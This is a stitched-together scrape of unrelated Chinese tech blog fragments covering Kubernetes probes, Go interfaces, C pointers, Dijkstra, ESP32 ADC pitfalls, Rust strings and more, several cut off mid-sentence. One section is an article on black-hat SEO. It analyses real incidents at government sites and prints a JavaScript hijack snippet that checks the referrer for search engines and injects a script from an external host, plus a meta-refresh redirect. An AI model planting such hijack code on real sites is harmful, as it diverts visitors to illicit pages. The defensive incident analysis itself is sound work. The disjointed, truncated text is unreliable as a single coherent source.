successThreshold:健康阈值,探测失败后,连续最小成功探测为成功。默认值为1。最小值为1。存活探针和启动探针内,健康阈值必须为1
failureThreshold:不健康阈值,探针进入失败状态时需要连续探测失败的最小次数
在K8S中配置示例:
# deployment等 ... readinessProbe: failureThreshold: 3 httpGet: path: /actuator/health/readiness port: 9000 scheme: HTTP initialDelaySeconds: 30 periodSeconds: 10 successThreshold: 1 timeoutSeconds: 3 ... 2.2.2 存活检查探针配置 在K8S中配置示例:
# deployment等 ... livenessProbe: failureThreshold: 3 httpGet: path: /actuator/health/liveness port: 9000 scheme: HTTP initialDelaySeconds: 30 periodSeconds: 10 successThreshold: 1 timeoutSeconds: 1 .
黑帽seo概念 SEO全称为搜索引擎优化,是指通过站内优化、站外优化等方式,提升搜索引擎收录排名。既然有SEO技术,便会有相应的从业人员,他们被称为白帽SEO,专指通过公正SEO手法,帮助提升站点排名的专业人员。
当然有白便会有黑,由于白帽SEO优化的过程将会十分漫长,一个新站想要获取好的排名,往往需要花上几年时间做优化推广。因此一些想要快速提升自身网站排名的小伙伴,便开始在SEO上研究作弊手法,从而诞生了黑帽SEO。黑帽SEO是指通过作弊手段,让站点快速提升排名的一类SEO技术,或者说是黑客技术,比如说:黑链(暗链)、站群、网站劫持(搜索引擎劫持)、桥页等,黑帽SEO能够快速提升排名,但毕竟是违规作弊行为,容易被K。
SEO的一些黑色手法 黑帽SEO的手法很多,并且在不断地更新换代,其中最常见的包括利用泛解析做站群,入侵高权重网站挂暗链,入侵高权重网站做网页劫持,篡改高权重网站网页内容,利用高权重网站二级目录做推广页面,修改nginx配置做目录反向代理等等。接下来我结合实际案例,介绍一些常用的手段。
利用泛解析建立泛二级域名站群 利用DNS泛解析可以快速建立站群,因为一个一级域名便可以衍生出无数个二级域名,当然一般需要借助站群工具,因为建立站群需要有很多内容不同的页面,手工建立显然不可能。而seo人员大费周章地建立站群的目的,便是能够快速吸引大量的搜索引擎爬虫,增加网站在搜索引擎中的收录量。以下是某个泛二级域名站群案例截图:
需要说明的是,以上截图中的二级域名并不是通过一条条dns解析记录去绑定的,解析里面设置的是*,也就是泛解析。而服务器端有程序或者代码去控制当构造不同的二级域名访问时,会返回不同的网页内容,也就让搜索引擎误认为每个二级域名都是一个单独的网站。 泛解析有很多优点,比如对用户友好(即使输错二级域名也能跳转到目标网站),又能够更快速地被搜索引擎收录等。基于这些优点,很多站长会选择用此方式来增加网站收录,然而如果没有妥善的使用泛解析可能会带来难以想象的危害。
利用泛解析做黑产 利用泛解析做黑帽seo的方式也有很多种,基于是否需要入侵网站以及dns服务器,我分为入侵法与非入侵法来介绍。
入侵法 真实案例:几个月前我们发现一个重要政府网站出现了大量页面,取证截图如下:
经过分析我发现,此手法利用的便是泛解析,从截图中可以看到出现了大量此政府网站的二级甚至三级域名,而这些域名都是随机构造的,访问后会跳转到色情等非法页面,而访问一级域名又是正常的内容。且先不分析跳转的过程中用到了哪些技术,单从泛解析记录就不难看出,此网站被人篡改了dns解析记录。我们有理由相信,黑客获取了此域名的dns解析控制权限,并将此域名泛解析到黑客准备好的服务器上。那么黑客这么做的目的很明显,为了让搜索引擎快速收录二级或者三级域名,从而达到引流到非法页面的目的。 我们通过分析此政府网站被入侵特征推导出此事件过程应该是,黑客通过入侵手段获取到了该政府网站dns解析权限(如何获取暂不可知),然后通过添加泛解析记录,将此记录指向黑客准备好的服务器,而此服务器上有动态语言去实现通过不同二级域名访问,返回不同的页面结果功能。由于政府网站本身权重很高,因此二级域名页面被百度快速收录,达到为非法页面引流的目的。这种手法的好处在于不必入侵网站,而只要获取到域名解析权限即可(当然获取域名解析权限也并非易事)。
非入侵法 真实案例:几天前我们发现有一个网站(xxxxxx.cn)利用泛解析做恶意推广,查看网站特征后,我们尝试构造不同的二级域名访问,取证截图如下。构造二级域名访问:
可以看到返回结果对网页内容以及url做了处理,当我们尝试构造不同的二级域名访问,发现返回结果内容都不一样,然而通过获取ip发现来自同一台服务器。首先我们不难想到,此域名一定是做了泛解析的,那么它是如何控制网页内容变化的呢?查看网页源码可以看到http://xxx.xxx.cn网页源码被嵌入到了目标网页中。
那么其实想要实现此技术也并不难,可以在服务端上用代码实现。首先通过获取请求的二级域名地址,然后去访问该二级域名内容获取源码镶嵌到自己的网页内。如果构造的二级域名内容不是一个完整的域名地址(如:1.sdxxxxx.cn),则随机返回一段源码。这种手法的好处在于不必入侵网站,只需要自己搭建一台服务器即可,但推广效果没有那么好。
利用网站暗链 在网页中植入暗链这种手法已经相对落伍了,目前用的也比较少,因为搜索引擎已经能够对此作弊手法进行检测。为了介绍知识的完整性,此处我简单介绍一下。暗链也称为黑链,即隐蔽链接 hidden links,是黑帽SEO的作弊手法之一。挂暗链的目的很简单,增加网站外链,提高网站排名;实现方式主要分为几种:利用CSS实现、利用JS实现、利用DIV+JS实现等。具体介绍请参考:黑帽SEO之暗链
利用高权重网站,构造关键词URL做推广 真实案例:一年前当我刚研究黑帽SEO的时候发现了一个有趣的黑帽SEO方式,虽然手法比较拙劣老套,但却也有成效。于是在写这篇文章的时候,我特意找了一个典型案例,与大家分享,取证截图如下。
将URL中的参数内容显示到网页内,这原本是某些网页的一种特殊功能。以往的经验告诉我这种特性如果没有处理好,可能会引发XSS漏洞,而今我不得不认识到,这种特性也一直被用于黑帽seo。通过在url或者post数据包(常见于搜索框功能)中构造推广关键词,再将有推广关键词页面添加到蜘蛛池中,使搜索引擎收录就能达到推广的目的。一般此种手法常被用来推广qq号,盈利网站等(类似打广告),而当我们通过搜索引擎搜索某些关键词时(如色情资源),就会显示出此页面,从而达到推广自身账号或者网站的目的,当然这只是一种推广手段,并不太涉及引流。
利用网页劫持引流 网页劫持,又叫网站劫持或者搜索引擎劫持,是目前黑帽SEO中最流行的一种做法。其原因可以简单概括为:易收录、难发现,易收录表现为搜索引擎尚没有很好的机制能够检测出此作弊手段,网页劫持手法仍然能够大量引流。难发现是指网页劫持手法比较隐蔽,一般非技术人员很难发现它的存在。 网页劫持从手法上可以分为服务端劫持、客户端劫持、百度快照劫持、百度搜索劫持等等; 网页劫持的表现形式可以是劫持跳转,也可以是劫持呈现的网页内容(与直接篡改网页内容不同),目前被广泛应用于私服、等暴利行业。
网页劫持真实案例 几个月前我处理了一起网页劫持案列,起因是某政府网站上出现了相关内容(排除新闻页面),这显然是不合规的。排除管理员失误添加导致,恐怕此网站多半是被黑客入侵了。首先我访问了该记录上的链接,紧接着浏览器中出现了一个正常的政府页面,而也就须臾之间,网页瞬间又跳转到了网页。图一为正常政府页面:
图二为下图页面:
可以看到页面的域名为www.xxxxx.com,显然不是先前的政府网站域名xxxx.gxv.cn。看到此现象,再结合多年安全经验,我大致能够猜测此网站应该是被网页劫持了。通过分析以上过程的数据包,不难发现在该网站前端页面被嵌入了一段非法代码。
此代码存放在xx.xxx.xx.xx服务器上,查看该服务器信息,发现其在日本。
分析至此,我们不难发现,导致页面跳转的原因便是http://xxxx.gxv.cn网页被非法嵌入了一窜代码,而此代码能够控制访问该网页时跳转到页面。这是搜索引擎劫持最为基础且常见的一种方式,其变种甚多,类型方式也各异。最后我通过登录web服务器查看,发现了存在大量html文件被篡改,且都在文件开头被写入外部js引用。那么此入侵事件过程应该是,黑客通过web应用程序某些漏洞入侵服务器(实际是管理后台弱口令+任意文件上传),通过批量篡改服务器静态文件实现网页劫持的目的。网页劫持的手法非常多,并不是这一个案例就能概括的,更多详细情况请继续看下文介绍。
服务端劫持 服务端劫持也称为全局劫持,此手法为修改网站动态语言文件,判断访问来源控制返回内容,从而达到网页劫持的目的。其特点往往是通过修改asp/aspx/php等后缀名文件,达到动态呈现网页内容的效果。 Global.asa、Global.asax、conn.asp、conn.php等文件比较特殊,作用是在每次执行一个动态脚本的时候,都会先加载该脚本,然后再执行目标脚本。所以只要在 Global.asa 中写判断用户系统信息的代码(访问来源等),如果是蜘蛛访问则返回关键词网页(想要推广的网站),如果是用户访问则返回正常页面。
客户端劫持 客户端劫持的手法也很多,但最常用的就两种:js劫持与Header劫持。js劫持目的是通过向目标网页植入恶意js代码,控制网站跳转、隐藏页面内容、窗口劫持等。js植入手法是可以通过入侵服务器,直接写入源代码中;也可以写在数据库中,因为有些页面会呈现数据库内容。js劫持代码案例:以下代码可以使通过搜索引擎搜索的并点击页面时,执行一段js并跳转到页面;而直接输入网址访问网页时,跳转到一个404页面。
today=new Date();
today=today.getYear()+”-“+(today.getMonth()+1)+”-“+today.getDate(); var regexp=/\.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(\.[a-z0-9\-]+){1,2}\//ig; var where =document.referer; if(regexp.test(where)){ document.write (‘<script language=”javascript” type=”text/javascript” src=”http://www.xxx.com/test.js”></script>’); } else { window.location.href=”../../404.htm”; }
代码分析:通过referer判断来路,如果referer来路为空就是跳转到404页面,如果是搜索引擎来的referer里面也会有显示,然后在写代码控制跳转。如果只是控制实现显示不同的内容,可以修改php、asp代码;如果需要劫持搜索引擎搜索框,可以写JS代码来做浏览器本地跳转。当然js功能可以无限扩展,比如可以控制一个ip一天内第一次访问正常,其余访问跳转等等。header劫持,就是在html代码的head中添加特殊标签,代码如下:
<meta http-equiv=”refresh” content=”10; url=http://thief.one”>
header劫持利用的就是Meta Refresh Tag(自动转向)功能将流量引走。
文章目录 Golang interface 接口详细原理和使用技巧一、Go interface 介绍interface 在 Go 中的重要性说明interface 的特性interface 接口和 reflect 反射 二、Go 里面为啥偏向使用 Interface可以实现泛型编程(虽然 Go 在 1.18 之后已经支持泛型了)可以隐藏具体的实现可以实现面向对象编程中的多态用法空接口可以接受任何类型的参数 三、Go interface 的常见应用和实战技巧interface 接口赋值通过对象实例赋值通过接口赋值 interface 接口嵌套interface 强制类型转换ret, ok := interface.(type) 断言switch x.(type) 断言 interface 与 nil 的比较 最后 Golang interface 接口详细原理和使用技巧 首次记录 2017 年下半年再次更新 2022 年底 一、Go interface 介绍 interface 在 Go 中的重要性说明 interface 接口在 Go 语言里面的地位非常重要,是一个非常重要的数据结构,只要是实际业务编程,并且想要写出优雅的代码,那么必然要用上 interface,因此 interface 在 Go 语言里面处于非常核心的地位。
我们都知道,Go 语言和典型的面向对象的语言不太一样,Go 在语法上是不支持面向对象的类、继承等相关概念的。但是,并不代表 Go 里面不能实现面向对象的一些行为比如继承、多态,在 Go 里面,通过 interface 完全可以实现诸如 C++ 里面的继承 和 多态的语法效果。
idea快速导出jar包工具:Hand Export Jar
各类型指针对比 (特别鸣谢@比特鹏哥)
目 录 字符(串)指针 数组指针 数组传参和指针传参 函数指针 函数指针数组 总结大合集 ############################################################################################################
字符(串)指针 指向字符(串)的指针 int main() { char ch = 'q'; char* pc = &ch; printf("%c %p %c\n", ch, pc, *pc); char* ps = "hello world";// 本质上是把字符串"hello world"的首元素地址放到*ps指针中 char arr[] = "hello world"; printf("%c\n", *ps); printf("%s\n", ps); printf("%c\n", arr[0]); printf("%s\n", arr); // 面试题 char str1[] = "hello world"; char str2[] = "hello world"; char* str3 = "hello world"; char* str4 = "
第1关:数据载入与分析 #encoding=utf8 import os import pandas as pd if __name__ == "__main__": path = os.getcwd() + '/ex1data1.txt' #利用pandas读入数据data,并将数据属性分别命名为'Population'和'Profit' #********* begin *********# data=pd.read_csv(path,header=None,names=['Population','Profit']) #********* end *********# print(data.shape) 第2关:计算损失函数 #encoding=utf8 import numpy as np def computeCost(X, y, theta): #根据公式编写损失函数计算函数 #********* begin *********# inner = np.power(((X * theta.T) - y), 2) cost=np.sum(inner) / (2 * len(X)) #********* end *********# return round(cost,10) 第3关:进行梯度下降得到线性模型 #encoding=utf8 import numpy as np def computeCost(X, y, theta): inner = np.
写在前面 自己的电脑环境:Ubuntu20.04.5
一、问题描述 自己通过搜狗输入法官网下载deb安装包,然后按照如下指令安装搜狗输入法之后
sudo dpkg -i sogoupinyin_4.0.1.2800_x86_64.deb 并且完成相关配置。(具体方法参考:Ubuntu 18.04 安装搜狗输入法)
发现,自己只能输入英文,无法输入中文。
二、解决方法 主要是因为缺少包导致的。
安装以下两个包:
sudo apt-get install libqt5qml5 libqt5quick5 libqt5quickwidgets5 qml-module-qtquick2 sudo apt install libgsettings-qt1 然后重启搜狗输入法,就可以正常输入中英文了。
参考链接 [1] wonghome. Ubuntu 18.04 安装搜狗输入法 [EB/OL]. https://blog.csdn.net/qq_39779233/article/details/127290795, 2022-10-15/2022-11-28.
[2] 雨中漫步-99. ubuntu系统安装好搜狗输入法后只能输入英文,无法输入中文的解决方案 [EB/OL]. https://blog.csdn.net/yuzhongmanbu99/article/details/127944446, 2022-11-20/2022-11-28.
内容一览:TVM 共有三种安装方法:从源码安装、使用 Docker 镜像安装和 NNPACK Contrib 安装。本文重点介绍如何通过源码安装 TVM。
关键词:TVM 快速上手 源码安装
在之前的文章《TVM 中文站正式上线!最全机器学习模型部署「参考书」它来了》中,我们整体介绍了 TVM 的重要作用,以及如何借助 TVM 中文文档,开启机器学习编译器的探索之路。
接下来,我们将以系列教程的形式, 详细讲解 TVM 从入门到精通的学习路径,希望每位开发者都能成为优秀的机器学习编译工程师!
本篇文章中,我们将介绍「打地基」的关键步骤–安装 TVM。
TVM 的安装可通过 3 种途径实现:
从源码安装Docker 镜像NNPACK Contrib 安装 作为安装 TVM 教程的 (Part 1),本文将详细讲解从源码安装的最佳实践, 并进行最大限度地灵活配置和编译。
逐步讲解如何从源码安装 TVM 在各种系统中从 0 到 1 构建和安装 TVM 软件包包括两个步骤:
从 C++ 代码中构建共享库 Linux:libtvm.somacOS :libtvm.dylibWindows:libtvm.dll 2.为编程语言包进行设置(如 Python 包)
下载 TVM 源代码,请访问:https://tvm.apache.org/download
开发者:从 GitHub 获取源代码 从 GitHub 上克隆源码仓库,请使用 --recursive 选项来克隆子模块。
git clone --recursive https://github.com/apache/tvm tvm Windows 用户可以打开 Git shell,并输入以下命令:
计算属性传参数
computed: { getInfoCount() { return val => { let len = this.info.filter(item => { return item.status === val; }).length; return len; }; }, } 使用:
{{getInfoCount('recyle')>0}}
:!tac
文章目录 参考资料1. 基本概念1.1 算法简介1.2 算法思想1.3 算法图解1.4 最短路径的最优子结构性质1.5 算法说明 2. python代码实现4. c++代码实现 参考资料 路径规划与轨迹跟踪系列算法学习最短路径算法-迪杰斯特拉(Dijkstra)算法迪杰斯特拉dijkstra算法的python实现Python实现迪杰斯特拉算法 1. 基本概念 1.1 算法简介 迪杰斯特拉算法(Dijkstra)是由荷兰计算机科学家狄克斯特拉于1959 年提出的,因此又叫狄克斯特拉算法。是从一个节点遍历其余各节点的最短路径算法,解决的是有权图中最短路径问题。
它的主要特点是以起始点为中心向外层层扩展(广度优先遍历思想),直到扩展到终点为止。
它是图搜索算法的一种。
1.2 算法思想 设G=(V,E)是一个带权图,V为节点集合。通过Dijkstra计算图G中的最短路径时,需要指定一个起点(假设为D,即从顶点D开始计算)。此外,引进两个点集S和U。初始时S中只有一个起点,S的作用是记录已求出最短路径的节点(以及相应的最短路径长度);而U则是记录还未确定最短路径的节点(以及该节点到起点D的距离)。初始时,数组S中只有起点D,而数组U中是除起点D之外的节点集合,并且数组U中记录各节点到起点D的距离。如果节点与起点D不相邻,距离设为无穷大。然后,从数组U中找出路径最短的节点K,并将其加入到数组S中;同时,从数组U中移除节点K。接着,更新数组U中的各节点到起点D的距离。重复第4步操作,直到遍历完所有节点。 1.3 算法图解 以上图为例,设节点D为起点。
初始时,S只包含起点D;U包含除 D外的其他节点,且U中节点的距离为起点D到该节点的距离,如果该节点与起点D不相邻,距离为无穷大。
从U中选出距离最短的节点C,并将节点C加入到S中;同时,从U中移除节点C。然后,更新U中各个节点到起点D的距离。
之所以更新U中节点的距离,是由于确定了C是求出最短路径过程中的节点,从而可以利用C来更新其它节点的距离;因为起点D到节点v的距离(D,v)可能大于(D,C)+(C,v)的距离。
接下来重复步骤1,2即可。
选取节点E,将E加入到S中,同时更新U中节点的距离。以节点F为例,之前F到D的距离为9;但是将E加入到S之后,F到D的距离为6=(F,E)+(E,D)。
将节点F加入到S中,同时更新U。
将节点G加入到S中,同时更新U。
将节点B加入到S中,同时更新U。
将节点A加入到S中,同时更新U。
此时,起点D到各个节点的最短距离就计算出来了:A(22) B(13) C(3) D(0) E(4) F(6) G(12)。
最后D->A的最优路径为D->E->F->A
1.4 最短路径的最优子结构性质 如果 P ( i , j ) = { V i … V k … V m … V j } P(i,j)=\{V_i…V_k…V_m…V_j\} P(i,j)={Vi…Vk…Vm…Vj}是从顶点 i i i到 j j j的最短路径, k k k和 m m m是这条路径上的一个中间顶点,那么 P ( k , m ) P(k,m) P(k,m)必定是从 k k k到 m m m的最短路径。
新方法:
用HorizontalGridView和VerticalGridView代替RecyclerView,使用方法与RecyclerView基本一致,只是不需要设置LayoutManager。
另外,如果想要焦点跃出边界,需要xml设置(手打):
app:focusOutFront="true" (弃~)
旧——
在看了很多资料,有些还需要自定义recycleview来实现,过于麻烦,于是自己实现了一个比较简单的方法。
需要一个View 用来保存最后获取焦点的item: private View lastView = null; 如果该页面不是一直驻留,可能会退出或销毁,建议—— @Override public void onDestroyView() { super.onDestroyView(); lastView = null; } RecycleView添加监听:
wifiBinding.recycleView.setOnFocusChangeListener((v, hasFocus) -> { Log.d(TAG, "onFocusChange: " + lastView); if (hasFocus) { //重新获得焦点后回到保存的位置 if (lastView != null) { lastView.setSelected(true); lastView.requestFocus(); } } }); XML添加以下两行:
android:focusable="true"
android:descendantFocusability="beforeDescendants"
<androidx.recyclerview.widget.RecyclerView android:id="@+id/recycleView" android:layout_width="match_parent" android:layout_height="0dp" android:layout_marginStart="50dp" android:layout_marginTop="10dp" android:layout_marginEnd="250dp" android:layout_marginBottom="20dp" android:nextFocusLeft="@id/refresh" android:nextFocusUp="@id/backpress" android:padding="10dp" android:focusable="true" android:descendantFocusability="beforeDescendants" app:layout_constraintBottom_toBottomOf="parent" app:layout_constraintEnd_toEndOf="parent" app:layout_constraintStart_toStartOf="parent" app:layout_constraintTop_toBottomOf="@id/connected" /> 最后在RecycleView.
目录
1.算法概述
2.仿真效果预览
3.核心MATLAB代码预览
4.完整MATLAB程序
1.算法概述 1.正确版本组合:Win7+Matlab R2015b+CUDA7.5+vs2013
CUDA7.5下载地址为:
http://developer.download.nvidia.com/compute/cuda/7.5/Prod/local_installers/cuda_7.5.18_windows.exe
vs2013要专业版。
如下所示:
全部安装好之后,做如下操作:
2.CPU配置,运行CNN工具箱中的 ,然后再运行 可以完成CPP文件的编译。
3.编译成功后,会产生
这些必须在电脑上编译,否则别人的复制给你,如果配置不一样,可能会报错。
4.GPU配置:
安装cudnn:https://developer.nvidia.com/rdp/cudnn-archive,放到CNN工具箱中的新建local文件夹中,
然后mex -setup下,操作和CPU一样。
然后执行matlab程序:
vl_setupnn;
vl_compilenn('enableGpu', true,'cudaRoot', 'C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v7.5','cudaMethod', 'nvcc', 'enableCudnn', 'true','cudnnRoot', 'E:\A_2016_FPGA_Test\FC_tracking\A_FC\matconvnet-1.0-beta20\local\cudnn');
红色部分为你的路径,不要有中文。
5.然后运行我给的程序 ,就可以自动运行了,原来程序的运行非常麻烦,我定义了这个程序,可以一步运行处结果。
2.仿真效果预览 Win7+Matlab R2015b+CUDA7.5+vs2013
运行后,如果可以出现如下结果:
3.核心MATLAB代码预览 % ------------------------------------------------------------------------------------------------- function bboxes = tracker(varargin) %TRACKER % is the main function that performs the tracking loop % Default parameters are overwritten by VARARGIN % % Luca Bertinetto, Jack Valmadre, Joao F.
前段时间因为课题需要,需要使用ESP32系列的MCU,刚拿到手,对很多东西都不懂,焦头烂额。经过一段时间,对ESP32已经有了一些了解,为了同学们不出现和我一样的情况,特在此写下一些经验分享。这篇文章是我对ESP32内部ADC的一些经验,希望对后来学习的同学们有帮助。
1.首先考虑需求 使用ESP32的ADC肯定是为了满足自己的设计需求,下面我将我使用过的ESP32与ESP32-S2两款ADC的一些经验写到下面:
1.1 ESP32与ESP32-S2的采样率 ESP32采样率最高到2MSPS(官方说法,但本人使用IDF V4.4.2亲测只能到250KSPS,若我输入500Ksps,得到的结果相邻两个是相同的,等同于250Ksps)(通过我在GITHUB上的多次提问,终于有工作人员回答了这个问题,他们尝试后,表示2MSPS的确无法达到,且属于硬件限制,具体内容见此GITHUB帖子:对ESP32 ADC的几个疑问 以及 BUG反馈 (IDFGH-8819) · Issue #10248 · espressif/esp-idf · GitHub),除了ESP32能到这么高,ESP32其他系列如S2,S3,C3。最高仅支持83333Hz。且多通道打开后共享采样率,就是说官方的2MSPS与83333SPS都是最大采样率,开几个通道就是几个通道平分。
因此,如果你的课题对采样率有要求,建议慎重选择ESP32的ADC。我的课题就需要很高采样率,在学习了ESP32的ADC之后,不得不选择其他adc采样方案,希望大家不要走我的弯路,特此写下这篇经验分享。(对于想用ESP32外接SPI接口的高速ADC的同学,需慎重,ESP32的SPI有小坑,导致无法达到高速采样,SPI的主机发送无论是轮询还是中断,都具有较高延时,亲测轮询发送每个发送函数之间存在10us以上延时,中断发送存在20us左右延时,意味着主机CS的拉高拉低总会存在10us以上的延时。若我打算进行100ksps的采样,需要设置定时器每10us在中断函数中进行SPI的发送读取,可发送读取的间隔都在10us以上,我上一个任务的任务都没发完,下一个中断又来了。过不了多久ESP32就会重启。)
1.2 ESP32与ESP32-S2的ADC精度 ESP32的ADC精度真的很差!很差!很差!(误会解除,ESP32采样正弦波之所以这样,不是因为噪声,具体原因见我github的帖子:https://github.com/espressif/esp-idf/issues/10058)
第一张图是乐鑫官网对ESP32内部噪声的一个测试图,第二张是我用ESP32采样5khz正弦波的图形。可以看出,其内部具有很大噪声,我的建议是,要用ESP32系列的ADC,一定不要选择ESP32...可以看看S2什么的。(误会解除,ESP32采样正弦波之所以这样,不是因为噪声,具体原因见我github的帖子:https://github.com/espressif/esp-idf/issues/10058)
下图是ESP32-S2采样5khz正弦波的时域图与频域图:
可以看出比起ESP32,ESP32-S2在噪声控制方面有所改善。但采样率之前也说过只有最大83khz,需要使用的同学要注意。
2.代码踩坑经验 adc代码,我这里使用的是官方idf版本v4.4.2中dma_read例程。
本来想把adc的例程讲一遍的,但自己还有课题任务,就只分享自己的adc踩坑经验吧,希望之后的同学们不要踩坑。代码讲起来确实比较费时,有需要的同学们可以去B站搜索“ESP32 ADC”,有几个视频都很不错。
dma_read中的频率对ESP32并不准确
adc_digi_configuration_t dig_cfg = { .conv_limit_en = ADC_CONV_LIMIT_EN, .conv_limit_num = 250, .sample_freq_hz = 10 * 1000, .conv_mode = ADC_CONV_MODE, .format = ADC_OUTPUT_TYPE, }; 该结构体中 .sample_freq_hz并不能使ESP32得到对应的采样率(对了,对于采样率,只改这个参数就可以了)。GITHUB上对这个问题有讨论:https://github.com/espressif/esp-idf/issues/8874
当然乐鑫也给出了解决办法, https://github.com/espressif/esp-idf/commit/cb62457f6dcb3077b38a74cfaffe19f5f23e4a00
更改相应的函数就可以实现准确的采样了,不知道后面的IDF对这个问题有没有修复 。ESP32-S2不受影响,不需更改。
总结 ESP32与ESP32-S2的采样率分别为2MSPS(IDF实测250K)与83KSPSESP32adc内部具有很大噪声,精度极差使用官方API,ESP32不能获得实际的采样率,需更改函数才可以使用,上面已给出解决办法。 这是我第一次发经验分享,本来想写得比较详细,可写了之后才发现比较费时间,我还有课题要做,所以只能分享几个自己在ADC上踩的坑。对于ESP32的ADC还有什么疑问也可以评论,我看到就会解答。
最后,想用好ESP32的C语言编程,一定要学习freertos,B站的Michael老师讲的非常好,在这推荐一波:ESP32_freeRTOS教程一: 入门介绍_哔哩哔哩_bilibili
Zygote意思是受精卵,它在Java世界中起到了很重要的作用,Android是基于Linux内核的,SDK是基于Java世界的,native语言是基于C和C++,起初一定是先存在native世界,那么Java世界是如何创建的?这就与zygote和system_server有关。
Zygote是一个native应用程序,原名是app_process,是在Android.mk文件中指定的,但是在运行的时候通过Linux下的pctrl系统调用将自己的名字改成了zygote,在0frameworks/base/cmds/app_process目录下,app_main函数中:
if (0 == strcmp("--zygote", arg)) { bool startSystemServer = (i < argc) ? strcmp(argv[i], "--start-system-server") == 0 : false; setArgv0(argv0, "zygote"); set_process_name("zygote");//设置本进程名字是zygote runtime.start("com.android.internal.os.ZygoteInit", startSystemServer); } 上面的函数中,调用了AppRuntime中的start方法,AppRuntime继承AndroidRuntime,调用的start也是AndroidRuntime里的方法。
AndroidRuntime.cpp
①//创建虚拟机 if (startVm(&mJavaVM, &env) != 0) goto bail; ②注册JNI函数 if (startReg(env) < 0) { LOGE("Unable to register all android natives\n"); goto bail; } ③ 通过JNI调用ZygoteInit下的main函数 进入Java世界 env->CallStaticVoidMethod(startClass, startMeth, strArray); 1 创建虚拟机
int AndroidRuntime::startVm(JavaVM** pJavaVM, JNIEnv** pEnv)//大部分是设置虚拟机参数 { //设置JNI check选项的 检查资源是否被正确释放 字符集的要求等 缺点:耗时 property_get("
开发环境 Windows 10Rust 1.65.0 VS Code 1.73.1
项目工程 这里继续沿用上次工程rust-demo
用字符串存储UTF-8编码的文本 我们在之前的章节中讨论了字符串,但现在我们将更深入地研究它们。新的Rust人会因为三个原因而陷入字符串:Rust倾向于暴露可能的错误,字符串是比许多程序员认为的更复杂的数据结构,以及UTF-8。当您来自其他编程语言时,这些因素以一种看起来很困难的方式结合在一起。
我们在集合的上下文中讨论字符串,因为字符串是作为字节的集合实现的,加上一些在那些字节被解释为文本时提供有用功能的方法。在这一节中,我们将讨论每个集合类型对String的操作,比如创建、更新和读取。我们还将讨论String与其他集合的不同之处,即人和计算机解释String数据的方式不同,如何使String的索引变得复杂。
字符串 我们先来定义一下字符串这个词的含义。Rust在核心语言中只有一个字符串类型,那就是字符串切片str,通常以其借用的形式&str出现。在之前的章节中,我们谈到了字符串切片,它是对存储在其他地方的一些UTF-8编码的字符串数据的引用。例如,字符串字面意义存储在程序的二进制中,因此是字符串切片。
String类型是由Rust的标准库提供的,而不是编入核心语言的,它是一个可增长的、可变异的、自有的、UTF-8编码的字符串类型。当Rust人在Rust中提到 "字符串 "时,他们可能指的是String类型或字符串切片&str类型,而不仅仅是这些类型中的一个。虽然本节主要是关于String,但这两种类型在Rust的标准库中都被大量使用,而且String和字符串切片都是UTF-8编码的。
创建新字符串 许多与Vec<T>相同的操作也可以用在String上,因为String实际上是作为一个字节向量的封装器来实现的,有一些额外的保证、限制和能力。一个在Vec<T>和String中以同样方式工作的函数的例子是创建实例的new函数。如下例所示,
fn main() { let mut s = String::new(); // 创建字符串 } 这一行创建了一个新的名为s的空字符串,然后我们可以将数据加载到其中。通常,我们会有一些想要开始字符串的初始数据。为此,我们使用to_string方法,该方法可用于任何实现Display特征的类型,就像字符串一样。如下所示,
fn main() { let data = "initial contents"; let s = data.to_string(); // 创建字符串s,并将data的值赋给s // 该方法也可以直接使用 let s = "initial contents".to_string(); } 这段代码创建了一个包含初始内容的字符串。
我们也可以使用函数String::from来从一个字符串字面创建一个字符串。下例中的代码等同于上例中使用to_string的代码。
fn main() { let s = String::from("initial contents"); // 通过from函数创建并初始化字符串变量s } 由于字符串的用途非常多,我们可以使用许多不同的字符串通用API,为我们提供了很多选择。其中有些看起来是多余的,但它们都有自己的位置 在这种情况下,String::from和to_string做同样的事情,所以你选择哪个是风格和可读性的问题。
请记住,字符串是UTF-8编码的,所以我们可以在其中包含任何正确编码的数据,如下例所示。
八皇后问题 1.递归回溯法 B站懒猫老师讲的(我在这里学的)
八皇后问题的递归回溯算法思路:从第一行开始当某一行皇后位置不与前面所有皇后位置冲突那么记录该行皇后位置并调用递归函数进入下一行,摆放下一个皇后,逐个位置摆放,若该行所有位置都被其他皇后占领,那么就回溯到上一行重新摆放上一行皇后直至所有皇后都不冲突那么记录一次方法然后回溯寻找其他摆放方法。
冲突算法思路:一个8*8的棋盘每一个位置若用其行号加上其列号我们可以得到下图,由图可知在同一条上对角线的数值都相同,因此我们可以利用该规律设计判断上对角线是否冲突的函数,类似的,下对角线则是由列号减去行号可得在同一条下对角线的数值相等。为了方便后面的程序中我把下对角线的数值都加7为正数(实际效果不变) #include<stdio.h> int place[8]={0};//皇后位置 bool flag[8]={1,1,1,1,1,1,1,1};//定义列 bool d1[15]={1,1,1,1,1,1,1,1,1,1,1,1,1,1,1};/*定义上对角线(共有15个对角线, 因此定义一个长度为15的bool型数组,初值为1代表该对角线没有被皇后占领, 若被皇后占领则赋值为0*/ bool d2[15]={1,1,1,1,1,1,1,1,1,1,1,1,1,1,1} ;//定义下对角线 int number=0;//记录输出次数 void print()//定义输出函数 { int col,i,j; number++;//每调用一次输出函数number自加一次,记录摆放方法个数 printf("No.%2d\n",number); int table[8][8]={0};//设置一个8*8的棋盘 for (i=0;i<8;i++) { table[i][place[i]]=1;//将每一行皇后所在位置赋值为1 } for (i=0;i<8;i++) { for (j=0;j<8;j++) { printf("%d|",table[i][j]); }printf("\n"); } } int queen(int n )//定义递归回溯函数 { int col; for (col=0;col<8;col++) { if (flag[col]&&d1[n-col+7]&&d2[n+col])//判断皇后是否冲突 { place[n]=col;//放置皇后 flag[col]=false; d1[n-col+7]=false; d2[n+col]=false;//将该皇后所在的行、列、对角线设置为被占领 if(n<7) {queen(n+1);}//当行数小于7时;递归调用下一行 else{print();}//调用输出函数 flag[col]=true;//回溯 d1[n-col+7]=true; d2[n+col]=true; } } return number; } int main() { number=queen(0);//从第0行开始执行 printf("
简单的事件逻辑:
从网上拿去天气数据,展示
然后做了一个数据清洗,然后还保存了一下最后的状态,以至于最后的时候可以打开所见即所得。
至于背景啥的,拿到源码以后自己改。
